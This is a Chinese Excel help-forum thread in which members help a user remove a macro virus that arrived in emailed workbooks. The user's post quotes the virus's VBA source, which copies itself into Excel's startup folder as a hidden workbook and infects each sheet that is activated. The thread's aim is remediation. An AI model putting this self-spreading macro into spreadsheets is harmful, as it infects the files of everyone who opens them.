無法消除巨集

　頭銜: 街友一族

帖子: 1572
主題: 16
精華: 2
積分: 1521
點名: 0
作業系統: xp
軟體版本: office 2003
閱讀權限: 150
性別: 男
註冊時間: 2010-5-1
最後登錄: 2016-1-13

論壇貢獻勳章

12^#

發表於 2012-6-1 23:55 | 只看該作者

本帖最後由 oobird 於 2012-6-2 09:18 編輯

把這個檔案解壓後放在該路徑的xlstartup資料夾中試試，應該會清除每次開啟的檔案中的病毒。剛剛把妳那有毒的附件刪了無法再下載來測試。
可能許多檔案都有這個病毒，如果有用就

清除StartUp.rar (7.96 KB) 一段時間確定每個可能感染的檔案都開過再移除。
注意是一樓附圖的路徑。

　暱稱: PJ

帖子: 913
主題: 150
精華: 0
積分: 1089
點名: 0
作業系統: win10
軟體版本: office 2019
閱讀權限: 50
性別: 女
註冊時間: 2011-8-28
最後登錄: 2023-7-19

論壇榮譽勳章論壇贊助勳章

11^#

發表於 2012-6-1 23:41 | 只看該作者

回復 10# oobird

我剛才除了用你提供的掃毒程式外,也用Avast掃一次資料夾,都說沒有毒,但1樓及5樓的對話框還是存在的,前面所提的情形也都相同,我可以怎麼做呢?
另外我發問時upload的檔案可否也幫忙刪除?因為檔案是相同情形我想也是有毒的.
謝謝您!

　頭銜: 街友一族

帖子: 1572
主題: 16
精華: 2
積分: 1521
點名: 0
作業系統: xp
軟體版本: office 2003
閱讀權限: 150
性別: 男
註冊時間: 2010-5-1
最後登錄: 2016-1-13

論壇貢獻勳章

10^#

發表於 2012-6-1 23:30 | 只看該作者

閃了一下應該就行了。現在開啟新的excel檔案還會有不明的工作表或隱藏的活頁簿嗎？

　頭銜: 街友一族

帖子: 1572
主題: 16
精華: 2
積分: 1521
點名: 0
作業系統: xp
軟體版本: office 2003
閱讀權限: 150
性別: 男
註冊時間: 2010-5-1
最後登錄: 2016-1-13

論壇貢獻勳章

9^#

發表於 2012-6-1 23:25 | 只看該作者

運行過我的附件了嗎？其實前面每一樓講的都對。
就是要把Startup資料夾清空
二樓告訴妳的是手動刪除，循著路徑會找到的，只要設定顯示隱藏的檔案及資料夾會找得到的
阿吉是用程式直接開啟該資料夾，妳可以自行手動刪除
我的附件是替妳刪除，如此而已。
先解決這個隨機開啟的病毒再說！

　暱稱: PJ

帖子: 913
主題: 150
精華: 0
積分: 1089
點名: 0
作業系統: win10
軟體版本: office 2019
閱讀權限: 50
性別: 女
註冊時間: 2011-8-28
最後登錄: 2023-7-19

論壇榮譽勳章論壇贊助勳章

8^#

發表於 2012-6-1 23:24 | 只看該作者

回復 6# oobird

我打開你提供的檔案,它就閃了一下,這樣是否有用?
upload的檔案我找不到地方可以前除,可以幫我刪嗎?或者是否我沒有權限?
我的檔案是經由email收到的,我要怎樣除去email及檔案的毒?
另外前面提到的問題能否解決?

　暱稱: PJ

帖子: 913
主題: 150
精華: 0
積分: 1089
點名: 0
作業系統: win10
軟體版本: office 2019
閱讀權限: 50
性別: 女
註冊時間: 2011-8-28
最後登錄: 2023-7-19

論壇榮譽勳章論壇贊助勳章

7^#

發表於 2012-6-1 23:15 | 只看該作者

回復 6# oobird
不好意思,我不知道它是病毒,請問我放上去的檔要怎麼刪?
另外我前面提到的問題是否能解決?

　頭銜: 街友一族

帖子: 1572
主題: 16
精華: 2
積分: 1521
點名: 0
作業系統: xp
軟體版本: office 2003
閱讀權限: 150
性別: 男
註冊時間: 2010-5-1
最後登錄: 2016-1-13

論壇貢獻勳章

6^#

發表於 2012-6-1 23:00 | 只看該作者

在哪中的病毒？附件傳上來包準害了很多人！
用這個附件清除一下。
清除後沒問題了記得回來把這個有病毒的附件刪除！

刪xlstart病毒.rar (176 Bytes)

　暱稱: PJ

帖子: 913
主題: 150
精華: 0
積分: 1089
點名: 0
作業系統: win10
軟體版本: office 2019
閱讀權限: 50
性別: 女
註冊時間: 2011-8-28
最後登錄: 2023-7-19

論壇榮譽勳章論壇贊助勳章

5^#

發表於 2012-6-1 22:34 | 只看該作者

本帖最後由 oobird 於 2012-6-1 23:31 編輯

[attach]11218[/attach][attach]11218[/attach]回復 4# HUNGCHILIN

以下是檔案中的巨集,但我將它刪除後,還是會一直出現前面所提的對話框,"1006ㄗ攣ㄘ.xls"這個檔是在對別人的電腦中,不是在我的電腦裡, 附件有三個sheet,每點選一個sheet,就會一直出現對話框. [attach]11218[/attach]
我現在想做的如下:
1) 如果一個資料夾中,我存放了很多這樣的檔,它可以只刪除巨集,但檔案保留嗎?因為是有用的資料.
2) 刪除以下指明的 "1006ㄗ攣ㄘ.xls" 我第一次關掉excel後,excel不會整個關閉,而只是像關掉檔案的情形,第二次到檢視>取消隱藏視窗,就會出現另一個對話框,如果按確認就會開出一個空白的sheet , 所以我覺得它隱藏在每個收到的檔案中

需要再按一次關閉才會真正關掉excel.

Sub auto_open()
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "1006ㄗ攣ㄘ.xls") = "" Then
Application.ScreenUpdating = False
ThisWorkbook.Sheets("StartUp").Copy
ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "1006ㄗ攣ㄘ.xls")
n$ = ActiveWorkbook.Name
ActiveWindow.Visible = False
Workbooks("1006ㄗ攣ㄘ.xls").Save
Workbooks(n$).Close (False)
End If
Application.OnSheetActivate = "1006ㄗ攣ㄘ.xls!acop"
End Sub
Sub acop()
On Error Resume Next
If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
Application.ScreenUpdating = False
n$ = ActiveSheet.Name
Workbooks("1006ㄗ攣ㄘ.xls").Sheets("StartUp").Copy before:=Worksheets(1)
Sheets(n$).Select
End If
End Sub

複製代碼

版主 Rank: 7 Rank: 7 Rank: 7

HUNGCHILIN

　暱稱: 阿吉
　頭銜: 不恥下問,不斷學習,才會進步

帖子: 647
主題: 190
精華: 24
積分: 1037
點名: 0
作業系統: windows7
軟體版本: Office 2010 ; OOO3.0 ; Google
閱讀權限: 100
性別: 男
來自: 竹南
註冊時間: 2010-5-2
最後登錄: 2022-6-24

貴賓勳章熱烈參與勳章好學求知勳章

4^#

發表於 2012-6-1 21:57 | 只看該作者

執行下述巨集刪掉所開啟資料夾裡面的檔案

Sub StartupPathA()

On Error GoTo Error1
Dim mySh As Shell32.Shell
Set mySh = CreateObject("Shell.Application")
mySh.Explore Application.StartupPath '任意的資料夾
Set mySh = Nothing '物件的釋放
Error1: End Sub

Hung-Chi Lin/林宏吉
HUNGCHILIN/林宏吉的OFFICE專欄